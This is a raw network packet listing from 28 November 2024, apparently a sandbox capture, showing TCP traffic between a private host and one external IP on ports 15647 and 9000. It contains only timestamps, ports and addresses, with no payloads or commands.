Nov 28, 2024 09:53:53.284296989 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.328862906 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.447973967 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.448678970 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.494746923 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.496694088 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.568629026 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.615118027 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.616594076 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.616702080 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.736608028 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.736666918 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.750360012 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.801881075 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.904001951 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.904086113 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.947047949 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.948695898 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.024015903 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.068010092 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.068108082 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.068556070 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.157417059 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.188028097 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.188158989 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.278867960 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.278975964 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.308132887 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.371669054 CET	9000	49809	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.371978045 CET	9000	49809	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.372124910 CET	49809	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.372124910 CET	49809	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.398411036 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.398613930 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.398854017 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.476900101 CET	49810	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.492059946 CET	9000	49809	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.518759966 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.518841982 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.597107887 CET	9000	49810	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.597233057 CET	49810	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.597429037 CET	49810	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.609276056 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.609378099 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.680033922 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.717853069 CET	9000	49810	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.729353905 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.729489088 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.849560022 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.849795103 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.892074108 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.939927101 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:54.940102100 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:54.969722986 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.059963942 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.060085058 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:55.060286999 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.183398962 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.183502913 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:55.270735025 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.270834923 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:55.343986034 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.390661955 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.390778065 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:55.390784025 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.510715961 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.510838032 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:55.513988972 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.567562103 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:55.671972036 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.672049046 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:55.721175909 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.721266985 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:55.791948080 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.841154099 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.841233969 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:55.841260910 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:55.895643950 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.000022888 CET	9000	49810	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.000160933 CET	9000	49810	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.000195026 CET	49810	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.000629902 CET	49810	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.002401114 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.002476931 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.114772081 CET	49811	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.120107889 CET	9000	49810	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.167985916 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.168071985 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.171643019 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.223786116 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.234636068 CET	9000	49811	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.234714031 CET	49811	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.234941006 CET	49811	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.261132956 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.261224031 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.288081884 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.355959892 CET	9000	49811	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.381975889 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.382062912 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.396183014 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.442513943 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.469062090 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.469156027 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.547949076 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.548018932 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.589102030 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.650377035 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.650512934 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.667999983 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.770416021 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.770658016 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.799539089 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.848753929 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.878396034 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.878484964 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.936005116 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.936079025 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:56.980845928 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:56.998456955 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.036264896 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.056072950 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.056173086 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.088866949 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.088979006 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.208885908 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.208950043 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.208980083 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.255037069 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.342545986 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.342669964 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.419368982 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.419471979 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.504127026 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.504220009 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.539366007 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.539892912 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.554611921 CET	9000	49811	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.554891109 CET	49811	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.555088997 CET	9000	49811	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.555159092 CET	49811	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.583180904 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.624147892 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.624254942 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.661942005 CET	49812	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.673613071 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.673723936 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.674762011 CET	9000	49811	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.745934010 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.782803059 CET	9000	49812	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.782938004 CET	49812	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.783083916 CET	49812	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.794493914 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.794568062 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.834685087 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.880183935 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.902925014 CET	9000	49812	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.914479017 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.914593935 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:57.930282116 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:57.973774910 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.055063009 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.055165052 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.140759945 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.140877962 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.219964027 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.244899035 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.245129108 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.261157036 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.365005016 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.365089893 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.385596991 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.426908970 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.531956911 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.532047033 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.575525045 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.630043030 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.638915062 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.639056921 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.652056932 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.759057045 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.759167910 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.786272049 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.786380053 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.849576950 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.849649906 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.920031071 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:58.920106888 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:58.969685078 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.040124893 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.040357113 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.042692900 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.099000931 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.180723906 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.180836916 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.251383066 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.302033901 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.344041109 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.344147921 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.370795965 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.371052027 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.460999012 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.461250067 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.464080095 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.480331898 CET	9000	49812	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.480528116 CET	9000	49812	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.480638027 CET	49812	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.480638027 CET	49812	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.490968943 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.581379890 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.581723928 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.583658934 CET	49813	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.600611925 CET	9000	49812	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.671391964 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.671602011 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.703577995 CET	9000	49813	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.703669071 CET	49813	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.703788996 CET	49813	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.747956991 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.748039961 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.791589975 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.791759014 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.823645115 CET	9000	49813	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.833180904 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:59.911808014 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:59.911952972 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.046380043 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.046721935 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.207998991 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.208070993 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.242369890 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.256724119 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.256814957 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.328140020 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.328298092 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.377405882 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.426935911 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.448244095 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.448360920 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.538423061 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.538518906 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.568264961 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.568362951 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.658610106 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.658725023 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.708204985 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.744026899 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.744225025 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.782283068 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.782449007 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.864171028 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.864254951 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.898720026 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.942517996 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.965600967 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:00.965667963 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:00.985730886 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.013739109 CET	9000	49813	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.014008045 CET	9000	49813	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.014029980 CET	49813	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.014070988 CET	49813	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.030316114 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.083143950 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.085527897 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.085623026 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.130944014 CET	49814	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.133946896 CET	9000	49813	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.194686890 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.194880962 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.205512047 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.250833035 CET	9000	49814	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.250950098 CET	49814	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.251117945 CET	49814	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.282346964 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.282488108 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.315088987 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.370976925 CET	9000	49814	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.402504921 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.402590990 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.404942036 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.459156990 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.525382042 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.525459051 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.613095999 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.661304951 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.688030958 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.688132048 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.733083010 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.733216047 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.808182001 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.853243113 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.853305101 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:01.882088900 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:01.926909924 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.016005039 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.016138077 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.077970028 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.078147888 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.136009932 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.136104107 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.198081017 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.256009102 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.256074905 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.288481951 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.288640022 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.346519947 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.395653009 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.408648014 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.408746958 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.466447115 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.466592073 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.583998919 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.584112883 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.586484909 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.586669922 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.630172014 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.698374987 CET	9000	49814	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.698465109 CET	9000	49814	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.698586941 CET	49814	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.698705912 CET	49814	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.704324007 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.707034111 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.722743034 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.770678043 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.802429914 CET	49815	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.818516016 CET	9000	49814	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.871999025 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.874089956 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.914719105 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.918998957 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.922467947 CET	9000	49815	45.141.84.168	192.168.2.4
Nov 28, 2024 09:54:02.922555923 CET	49815	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.922669888 CET	49815	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:54:02.974435091 CET	15647	49769	45.141.84.168	192.168.2.4
